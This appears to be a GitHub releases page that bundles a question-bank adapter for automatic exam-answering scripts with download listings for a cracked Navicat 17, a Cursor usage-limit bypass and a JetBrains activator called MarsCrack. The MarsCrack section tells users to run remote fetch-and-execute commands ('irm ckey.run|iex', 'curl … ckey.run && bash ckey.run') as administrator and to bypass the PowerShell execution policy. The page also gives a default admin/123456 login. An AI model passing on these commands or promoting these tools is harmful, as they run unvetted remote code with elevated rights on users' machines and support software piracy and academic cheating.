Releases: kukuqi666/scripts
tikuAdapter_0.1.0-beta.33
这是什么?
这是一个题库适配器,可以将各种的题库接口转换为统一的标准格式,同时这将会是 题库接口的一个规范
市面上有很多题库接口,比如您想要在 【万能】全平台自动答题脚本 使用言溪enncy题库您就可以通过此题库适配器轻松实现。
功能
1.支持多种题库接口输入源
排名顺序为免费优先于付费。
- icodef:icodef 题库
- buguake:不挂科 题库
- wanneng:万能题库
- Tikuhai:题库海题库
- aidian:爱点题库
- enncy:enncy 言溪题库
- lemon:柠檬题库
- 自定义题库
2.支持多种文件自动解析到题库
- Word题库将您的word文档自动解析到本地数据库,方便您的搜索。
3. 支持多种输出源:
- tikuAdapter标准格式 强烈推荐
您为您的软件适配标准格式 - 微信公众号 微信开发者后台填写tikuAdapter的url即可
4.个性化配置
如何部署使用
自行部署
从 GitHub Releases 下载对应的版本,解压后运行即可
使用网页版
直接访问 http://localhost:8060 可以看到网页版,可以实现题库的增删改查,日志记录等功能。
默认账号为 admin 密码123456
使用API接口
POST http://localhost:8060/adapter-service/search
请求体
{
"question": "违反安全保障义务责任属于()",
"options": [
"公平责任",
"特殊侵权责任",
"过错推定责任",
"连带责任"
],
"type": 1 // 单选0多选1填空2判断3问答4
}URL 请求参数
| 参数 | 描述 | 是否必须 | 示例值 | Token获取方式 |
|---|---|---|---|---|
| use | 你想要使用哪些题库,不填写默认使用所有免费题库 | 否 | local,icodef,buguake,wanneng | |
| wannengToken | 万能付费题库的Token值(10位) | 否 | E196FD8B49 | https://lyck6.cn/pay |
| icodefToken | Icodef 题库Token值 | 否 | UafYcHViJMGzSVNh | 关注微信公众号"一之哥哥"发送"token"获取 |
| enncyToken | enncy 题库Token值 | 否 | a21ae2403b414b94b512736c30c69940 | https://tk.enncy.cn |
| aidianYToken | 爱点题库(亿级题库API)Token值 | 否 | cvor7f3HxZ7nF2M3ljmA | https://www.51aidian.com |
| lemonToken | 柠檬题库 Token值 | 否 | 8a3debe92e2ba83d6786e186bef2a424 | https://www.lemtk.xyz |
| tikuhaiToken | 题库海题库 Token值 | 否 | Cardabcde1MdljoZk4l4E47NaAK | https://shop.tikuhai.com/links/2C63E8E8 |
例如您想使用万能题库和icodef题库,您的url应为http://localhost:8060/adapter-service/search?use=wanneng,icodef&icodefToken=UafYcHViJMGzSVNh
响应示例
{
"plat": 0,
"question": "违反安全保障义务责任属于()",
"options": [
"公平责任",
"特殊侵权责任",
"过错推定责任",
"连带责任"
],
"type": 1,
"answer": {
"answerKey": [
"B",
"C"
],
"answerKeyText": "BC",
"answerIndex": [
1,
2
],
"answerText": "特殊侵权责任#过错推定责任",
"bestAnswer": [
"特殊侵权责任",
"过错推定责任"
],
"allAnswer": [
[
"特殊侵权责任",
"过错推定责任"
],
[
"A特殊侵权责任",
"B过错推定责任"
]
]
}
}如何贡献
提出您的issue
将您的题库接口提issue我们为您增加上去。
提出您的pr
您可以参与开发,提交pr。
- 您可以参考
internal/search/wanneng.go来实现internal/search/search.go接口 - 编写
internal/search/search_test.go来测试您的接口
贡献者
谢谢以下开源贡献者~
Navicat17 and Cursor Cpolar
Navicat17破解版
提供Navicat Premium 17完整破解版,支持MySQL、Oracle、PostgreSQL等多种数据库
Cursor无限续杯
AI编程助手Cursor的无限续杯工具,突破使用限制,享受无限AI编程体验
cpolar-stable-linux-amd64
一键激活JetBrains全家桶方式
MarsCrack 安装工具
这个目录包含了 MarsCrack 的安装脚本,支持 Windows 和 Mac/Linux 系统。
🚀 快速安装
Windows 系统
方法1:一键安装(推荐)
- 按
Win + X键,选择 "Windows PowerShell (管理员)" - 复制并运行以下命令:
irm ckey.run|iex
方法2:双击运行批处理文件(最简单)
右键点击 install-windows.bat,选择 "以管理员身份运行"
(自动执行 irm ckey.run|iex 命令)
方法3:PowerShell脚本
如遇到执行策略错误,使用以下命令:
# 绕过执行策略运行(推荐)
powershell -ExecutionPolicy Bypass -File .\tool\install-windows.ps1
# 或者临时更改执行策略
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
.\tool\install-windows.ps1Mac 系统
方法1:一键安装(推荐)
在终端中运行:
curl -L -o ckey.run ckey.run && bash ckey.run方法2:使用本地脚本(最简单)
在终端中运行:
bash ./tool/install-mac.sh(自动执行 curl -L -o ckey.run ckey.run && bash ckey.run 命令)
Linux 系统
方法1:一键安装(推荐)
在终端中运行:
curl -L -o ckey.run ckey.run && bash ckey.run或者使用 wget:
wget -O ckey.run ckey.run && bash ckey.run方法2:使用本地脚本
在终端中运行:
bash ./tool/install-mac.sh(自动执行 curl -L -o ckey.run ckey.run && bash ckey.run 命令)
📝 脚本说明
install-windows.ps1
- ✅ 自动检测管理员权限
- 🎨 彩色输出界面
- 🔄 自动下载和执行
⚠️ 完整的错误处理- 📱 友好的用户提示
install-mac.sh
- ✅ 支持 Mac 和 Linux 系统
- 🔍 自动检测系统类型
- 🛠️ 支持 curl 和 wget
- 🎨 彩色终端输出
- 🧹 自动清理临时文件
⚙️ 自定义配置
如需使用自己的下载地址,请修改脚本中的 URL:
Windows (install-windows.ps1):
$downloadUrl = "ckey.run"Mac/Linux (install-mac.sh):
DOWNLOAD_URL="ckey.run"🔧 支持的系统
| 系统 | 脚本 | 要求 |
|---|---|---|
| Windows 10/11 | install-windows.ps1 |
PowerShell 5.1+ |
| macOS | install-mac.sh |
bash + curl/wget |
| Ubuntu/Debian | install-mac.sh |
bash + curl/wget |
| CentOS/RHEL | install-mac.sh |
bash + curl/wget |
⚠️ 重要提示
- Windows 用户必须以管理员身份运行 PowerShell
- 请确保网络连接正常
- 仅在合法授权范围内使用本工具
- 支持正版软件开发
❓ 常见问题
Windows 执行策略错误
错误信息: 无法加载文件...因为在此系统上禁止运行脚本
解决方案:
- 使用批处理文件(最简单): 右键点击
install-windows.bat→ "以管理员身份运行" - 绕过执行策略:
powershell -ExecutionPolicy Bypass -File .\tool\install-windows.ps1 - 更改用户策略:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
网络连接错误
解决方案:
- 检查防火墙设置
- 确认网络连接正常
- 尝试使用VPN或更换网络
权限不足错误
解决方案:
- Windows:确保以管理员身份运行
- Mac/Linux:使用
sudo命令或切换到管理员账户
📞 技术支持
如遇问题,请:
- 关注官方公众号【MarsCrack官方】
- 查看错误提示并按照建议操作
- 检查网络连接和防火墙设置
📄 许可证
本工具仅供学习交流使用,请支持正版软件。